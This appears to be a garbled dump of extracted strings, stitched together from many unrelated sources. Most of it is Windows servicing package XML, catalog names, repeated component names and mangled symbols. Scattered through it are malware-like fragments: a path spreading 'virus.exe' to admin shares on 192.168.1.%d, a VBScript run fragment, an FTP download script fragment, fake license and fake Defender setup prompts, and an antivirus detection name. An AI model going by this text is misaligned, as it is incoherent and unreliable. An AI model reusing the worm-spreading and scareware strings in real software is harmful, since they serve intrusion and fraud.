        <Package ID="Microsoft-Windows-SenseClient-Fod-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~~" PackageType="FeaturePackage" />
        <Package ID="Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~~" PackageType="SatellitePackage" />
        <Package ID="Microsoft-Windows-FoDMetadata-Package" PackageType="FeaturePackage" />
    <Package ID="Microsoft-Windows-Client-LanguagePack-Package~31bf3856ad364e35~amd64~bg-BG~" Version="10.0.26100.1">
        <PayloadItem PayloadHash="2ttfcZdDEi8JjVWnHM6auNqY/Lm155OoYCi5LBYdM68=" PayloadSize="20274722" Path="UUP\Desktop\editionpackages\bg-bg\Client\Microsoft-Windows-Client-LanguagePack-Package~31bf3856ad364e35~amd64~bg-BG~.esd" PayloadType="Canonical" />
    <Package ID="Microsoft-Windows-Foundation-Package" Version="10.0.26100.1">
        <PayloadItem PayloadHash="Ap6f0HFiHWNOtx/ooKh/4dHCxJB8gK1x1zokz2b44NU=" PayloadSize="24238" Path="UUP\Desktop\editionPackages\neutral\Microsoft-Windows-Foundation-Package.ESD" PayloadType="Canonical" />
    <Package ID="Microsoft-Windows-EditionSpecific-Professional-Package" Version="10.0.26100.1">
        <PayloadItem PayloadHash="Ga9Zz0oEeb/SOzWSMnhr+RJMDWbjnsMA59eAf6N/LVQ=" PayloadSize="57745203" Path="UUP\Desktop\editionPackages\neutral\Microsoft-Windows-EditionSpecific-Professional-Package.ESD" PayloadType="Canonical" />
    <Package ID="Microsoft-Windows-EditionSpecific-Professional-WOW64-Package" Version="10.0.26100.1">
        <PayloadItem PayloadHash="BT77/F3A4bNybjNTRlCLKEWc2z4ueKSaJ1vQ6Q0AmUE=" PayloadSize="62934" Path="UUP\Desktop\editionPackages\neutral\Microsoft-Windows-EditionSpecific-Professional-WOW64-Package.ESD" PayloadType="Canonical" />
    <Package ID="Microsoft-Windows-Client-Desktop-Required-Package" Version="10.0.26100.1">
        <PayloadItem PayloadHash="ZwsIuEHvIrYM7e/uP721IBDI1oS8CKw1DoMzfKL6fZA=" PayloadSize="814894129" Path="UUP\Desktop\editionPackages\neutral\Microsoft-Windows-Client-Desktop-Required-Package.ESD" PayloadType="Canonical" />
    <Package ID="Microsoft-Windows-Client-Desktop-Required-WOW64-Package" Version="10.0.26100.1">
        <PayloadItem PayloadHash="S9QI5jsqxDRpX10mmhzGfICyUo0NfF0Vky1q1LZxmks=" PayloadSize="196084750" Path="UUP\Desktop\editionPackages\neutral\Microsoft-Windows-Client-Desktop-Required-WOW64-Package.ESD" PayloadType="Canonical" />
  <assemblyIdentity name="Microsoft-Windows-Kernel-Package-BootEnvironment-Strings-Package" version="10.0.26100.3323" processorArchitecture="amd64" language="en-US" buildType="release" publicKeyToken="31bf3856ad364e35" />
  <package identifier="Microsoft-Windows-Kernel-Package-BootEnvironment-Strings-en-US" releaseType="Language Pack">
      <assemblyIdentity name="Microsoft-Windows-Kernel-Package-BootEnvironment-Strings-Package" version="10.0.26100.3323" processorArchitecture="amd64" language="neutral" buildType="release" publicKeyToken="31bf3856ad364e35" />
        <assemblyIdentity name="Microsoft-Windows-Kernel-Package-BootEnvironment-Strings-Deployment-LanguagePack" version="10.0.26100.3323" processorArchitecture="amd64" language="en-US" buildType="release" publicKeyToken="31bf3856ad364e35" versionScope="nonSxS" />
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
\SystemRoot\System32\driX
Microsoft.Windows.Socket.Afunix
Microsoft.Windows.TlgAggregateInternal
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Kernel-Package-BootEnvironment-OS-Loader-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-SenseClient-Task-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
mC:\WINDOWS\delog.bat
OnHookWebMailCompleteWINDOWS\SYSTEM32\drivers\imonagent\Software\Microsoft\Windows\CurrentVersion\Explorer\THC\OutDevice@
C:\WINDOWS\SYSTEM32\drivers\win
.br/windows_instal
Windows::Foundation::ActivateInstance(strEasClientDeviceInformation.Get(), easClientDeviceInformation.GetAddressOf())
GetActivationFactory( HStringReference(RuntimeClass_Windows_Internal_CapabilityAccess_Management_CapabilityUsage).Get(), &usageStatics)
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Base.Win32.Job
Microsoft.Windows.NTVDM
Microsoft.Windows.OneCoreTransforms
Microsoft.Windows.User32
Microsoft-Windows-WOWSupport-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Apprep.ChxApp_1000.25128.
%C:\ProgramData\Microsoft\Windows\AppRepository\State
GetWindowsDirectoryA
GetWindowsDirectoryW
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
%system32%;%syswow64%
%system32%\devicepairingwizard.exe;%system32%\rasphone.exe
%system32%\printfilterpipelinesvc.exe
%system32%\msdtc.exe
%system32%\certreq.exe;%system32%\ddodiag.exe;%system32%\deviceenroller.exe;%system32%\dmcfghost.exe;%system32%\dmclient.exe;%system32%\dmomacpmo.exe;%system32%\dxcap.exe;%system32%\dxpserver.exe;%system32%\mdmdiagnosticstool.exe;%system32%\mousocoreworker.exe;%system32%\musnotificationux.exe;%system32%\musnotifyicon.exe;%system32%\omadmclient.exe;%system32%\psr.exe;%system32%\resetengine.exe;%system32%\sppsvc.exe;%system32%\systemreset.exe;%system32%\tracerpt.exe;%system32%\upfc.exe;%system32%\usocoreworker.exe;%system32%\vsgraphicsdesktopengine.exe;%system32%\vsgraphicsremoteengine.exe;%system32%\wbengine.exe;%programfiles%\common files\microsoft shared\ink\inputpersonalization.exe;%system32%\compmgmtlauncher.exe;%system32%\explorer.exe;%system32%\filehistory.exe;%programfiles%\microsoft\edge\application\msedge.exe
%system32%\netsh.exe
%system32%\appvclient.exe;%system32%\bdeuisrv.exe;%system32%\customshellhost.exe;%system32%\magnify.exe;%system32%\mblctr.exe;%system32%\mdmappinstaller.exe;%system32%\raserver.exe;%system32%\rdpclip.exe;%system32%\rdpinput.exe;%system32%\rdpinit.exe;%system32%\rdpshell.exe;%system32%\rdvghelper.exe;%system32%\sdclt.exe;%system32%\securityhealthservice.exe;%system32%\sethc.exe;%system32%\slui.exe;%system32%\systemsettingsadminflows.exe;%system32%\wusa.exe
%system32%\winrs.exe;%system32%\wsmanhttpconfig.exe;%system32%\wsmprovhost.exe
%system32%\ftp.exe;%system32%\hostname.exe;%system32%\stordiag.exe
%programfiles%\windows kits\10\bin\%version%\x64\wsddebug_host.exe
%system32%\wscadminui.exe
%system32%\certreq.exe;%system32%\notepad.exe
%system32%\recoverydrive.exe;%system32%\resetengine.exe;%system32%\systemreset.exe
%system32%\osk.exe
%system32%
%system32%\wmpdmc.exe
%system32%\wbem;%syswow64%\wbem
%system32%\stordiag.exe;%system32%\tasklist.exe
%system32%\stordiag.exe
%system32%\dispdiag.exe;%system32%\iscsicli.exe
%system32%\devicecensus.exe;%system32%\shellappruntime.exe
%system32%\mshta.exe;%system32%\securityhealthservice.exe;%system32%\systemsettingsadminflows.exe;%system32%\write.exe
%system32%\legacynetuxhost.exe;%system32%\netsh.exe;%system32%\wifitask.exe
%system32%\djoin.exe;%system32%\dsregcmd.exe;%system32%\edpcleanup.exe;%system32%\getmac.exe;%system32%\ie4uinit.exe;%system32%\mshta.exe;%system32%\mstsc.exe;%system32%\net.exe;%system32%\net1.exe;%system32%\netdom.exe;%system32%\secinit.exe;%system32%\systempropertiesadvanced.exe;%system32%\systemsettingsadminflows.exe;%system32%\whoami.exe
%system32%\synchost.exe
%system32%\change.exe;%system32%\chglogon.exe;%system32%\chgport.exe;%system32%\ctfmon.exe;%system32%\displayswitch.exe;%system32%\msg.exe;%system32%\musnotification.exe;%system32%\query.exe;%system32%\quser.exe;%system32%\qprocess.exe;%system32%\qwinsta.exe;%system32%\rdpclip.exe;%system32%\rdpinput.exe;%system32%\rdpsa.exe;%system32%\rdpsauachelper.exe;%system32%\rH
%1!s!, %2!u! loop tans windows, vasgespeld
Windows Sonic vir oorfone
Tcom.microsoft.windows.extensionpackageOOBENetworkConnectionFlowE)
TDwindows.appExtensionA
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
default$windows.data.accessibility.eyecontrol.syncedsettings
\\.\root\Microsoft\Windows\Storage:__Win32Provider.Name="iSCSIWMIv2"
16^windows.protocol
16^windows.appExtension
c:/windows/system32/d
c:/windows/system32/d
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfi
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
oft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateNetworkItem(unsigned int,struct Windows::Networking::Connectivity::INetworkItem **) noexcept
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkIcon
Microsoft.Windows.WiFiCloudStore
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.Shell.SystemSettings.SettingsEnvironment
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.CloudRestoreLauncher
Microsoft.Windows.Shell.SystemSettings.SettingsEnvironment
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.HostName
Microsoft.Windows.HostName
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Behavior:Linux/TaintWindowsShareAccessed.B
\SystemRoot\system32\drivers\msseccore.sys
@Devices@Windows
C:\Windows\SystemApps\Microsoft
Microsoft.Windows.PerceptionApi.Stub
\192.168.1.%d\c$\windows\temp\virus.exe\
#eadevent\Windows Live\Messenger\msnmsgr.exe\ICQ7.7
Microsoft.Windows.Desktop.Shell.SoftLanding
WINDOWS.DATA.BLUELIGHTREDUCTION.BLUELIGHTREDUCTIONSTATE
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Model@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@456@@Z@?$TypedEventHandler@PE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@234@@Foundation@Windows@@QE$AAA@PE$AAVAppServiceTask@Background@ContentDeliveryManager@@P8456@E$AAAXPE$AAVAppServiceConnection@AppService@ApplicationModel@3@PE$AAVAppServiceRequestReceivedEventArgs@893@@ZW4CallbackContext@Platform@@_N@Z@
.?AU?$_Task_impl@W4AppServiceResponseStatus@AppService@ApplicationModel@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@W4AppServiceResponseStatus@AppService@ApplicationModel@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@W4AppServiceResponseStatus@AppService@ApplicationModel@Windows@@@Foundation@Windows@@
.?AV?$TypedEventHandler@PE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@234@@Foundation@Windows@@
.?AU__abi_IDelegate@?$TypedEventHandler@PE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@234@@Foundation@Windows@@
.?AUIBackgroundTask@Background@ApplicationModel@Windows@@
.?AU__abi_IDelegate@BackgroundTaskCanceledEventHandler@Background@ApplicationModel@Windows@@
.?AVBackgroundTaskCanceledEventHandler@Background@ApplicationModel@Windows@@
gets.rarc:\windows\help\lsmosee.exebye
onerrorresumenextws.run"c:\windows\ime\c
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Shell.RunOnce
Microsoft.Windows.FamilySafety.AppUsage
DEFAULT$WINDOWS.DATA.BLUELIGHTREDUCTION.BLUELIGHTREDUCTIONSTATE
Microsoft.Windows.Shell.BlueLightReduction
Windows.Shell.BlueLightReduction.dll
,S?Windows.Data.BlueLightReduction.SettingsPerDevice
Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
Windows.Data.BlueLightReduction.ScheduleTime
Windows.Data.BlueLightReduction.Settings
Windows.Data.BlueLightReduction.BlueLightReductionState
>EC:\Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe`DY
*C:\Windows\SystemApps\Microsoft
WindowsTerminal,
amd64_microsoft-windows-eapteapext_31bf3856ad364e35_none_6257dfd2e005f7f1
amd64_microsoft-windows-eapteap_31bf3856ad364e35_none_a8f257f8e1b3a80e
amd64_microsoft-windows-eapttls.resources_31bf3856ad364e35_en-us_f14cef6314cd3744
amd64_microsoft-windows-eapttlsext.resources_31bf3856ad364e35_en-us_ead8240362d9778bX
amd64_microsoft-windows-eapttlsext_31bf3856ad364e35_none_21127b66419131a8
amd64_microsoft-windows-eapttls_31bf3856ad364e35_none_a8d0a75ee1cd5cfd
amd64_microsoft-windows-earlylauncham-adm_31bf3856ad364e35_none_5c563d2e11c3e54b
amd64_microsoft-windows-ecapp.appxmain_31bf3856ad364e35_none_1a6310e64ddd4f93
amd64_microsoft-windows-ecapp.appxsetup_31bf3856ad364e35_none_270405f404639009
amd64_microsoft-windows-ecoscore-task_31bf3856ad364e35_none_647a7b2173a78ca1
*shellcommon\shell\fileexplorer\windows.fileexplorer.common\src\syncrootverbs.cpp
NtCompositorNotifyExitWindows
.enumwindows
karinahallberg-centralwindowsproductspecialist
:\\windows\\system32\\regsvr32.exe
,C:\WINDOWS\system32\backgroundTaskHost.exe
WINDOWS
	\system32\cmd.exe
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
Microsoft.Windows.Security.Shutinit
Microsoft-Windows-Perflib
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-CoreSystem-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-CoreSystem-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
/Microsoft Windows Third Party Component CA 20120
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Kernel.LiveDump
ms-windows-store://pdp?ProductId=9NKSQGP7F2NH&cid=msftstartreco_whatsapp_evergreenp3!
I>Windows recommend Activate %1
ia.innertext = "click here to get " + product_name + " license"windows has detected
Windows
welcome to the windowsdefender setup wizardWelcome to ins
WindowsUdk
wow64_microsoft-windows-userpowermanagement_31bf3856ad364e35_none_b0abf65ccb0dc632
wow64_microsoft-windows-usp_31bf3856ad364e35_none_6175a5286b89c61d
wow64_microsoft-windows-utilman_31bf3856ad364e35_none_2ca943d5a8c9ab99
wow64_microsoft-windows-uus-infra-core-preview_31bf3856ad364e35_none_9fd169ab3c2d498a
wow64_microsoft-windows-uxinit_31bf3856ad364e35_none_fe5d803605cadba2
wow64_microsoft-windows-uxtheme_31bf3856ad364e35_none_283863e6e66b3159
wow64_microsoft-windows-v..-onecore-deployment_31bf3856ad364e35_none_e027bb6024674b12
wow64_microsoft-windows-v..2provider.resources_31bf3856ad364e35_en-us_980581a302784b8d
wow64_microsoft-windows-v..d-manager-psfactory_31bf3856ad364e35_none_af457a682b18e6db
wow64_microsoft-windows-v..driver-tvdigital-ks_31bf3856ad364e35_none_bc9bf71b10982c4c
get_WindowsCodePage
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
Windows111
Windows.Settings.SearchData
Winlogon
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHostU
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackupn
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHostu
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!Appr
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
.?AU?$__abi_FunctorCapture@V<lambda_438113a32550a3a84e8999e43761378a>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
